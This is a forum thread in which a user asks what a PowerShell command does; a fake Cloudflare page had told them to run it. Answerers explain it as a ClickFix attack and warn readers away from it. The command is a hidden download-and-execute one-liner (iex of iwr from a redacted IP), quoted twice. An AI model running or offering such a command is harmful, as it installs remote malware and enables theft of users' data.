Today, I stumbled upon a 'Cloudflare' page that prompted me to run a powershell command on my computer before proceeding. I didn't execute it out of caution, but I wrote down the command out of curiosity. It was as follows:
powershell -w h -nop -c iex(iwr -Uri xxx.xx.xxx.xx -UseBasicParsing)
I consider myself somewhat familiar with powershell, but this command seems pretty complex. Can anyone break this down for me and explain what it was attempting to accomplish? Just looking to satisfy my curiosity! (For safety, I've removed the actual IP address.)
5 Answers
Ultimately, this command executes a script retrieved directly from that IP address without displaying any results on your screen. These scripts are typically used for stealing tokens and personal data, and can sometimes be ransomware. Beware!
So, that command you're looking at is pretty nasty. The 'iwr' part stands for 'invoke-webrequest,' which means it's fetching data from that IP address. The 'iex' command is 'invoke-expression,' and it'll run whatever code is retrieved from the server. Essentially, it downloads malicious powershell scripts and executes them on your machine. Definitely stay away from running anything like this—Cloudflare would never ask users to run commands like that.
While nobody can say for sure without executing the command (which I'd never recommend!), it's clear that it's trying to pull something from that IP address and run it. These types of commands are frequently used to install persistent malware or steal sensitive information.
To give some context, that full command in question is:
powershell -Windowstyle Hidden -NoProfile -Command Invoke-Expression(Invoke-WebRequest -Uri xxx.xx.xxx.xx -UseBasicParsing)
This command runs powershell in a hidden window, downloads scripts from the specified server, and executes them immediately. If you come across such prompts online, especially with vague URLs, they're likely trying to trick you into installing something harmful.
Exactly! If it looks suspicious, it's best to avoid it.
What's fascinating—and concerning—is that this is an example of a click fix attack. Your instincts were spot-on! It’s meant to trick users into executing potential malware.
Yeah, it definitely raises a red flag! Always better to be safe than sorry.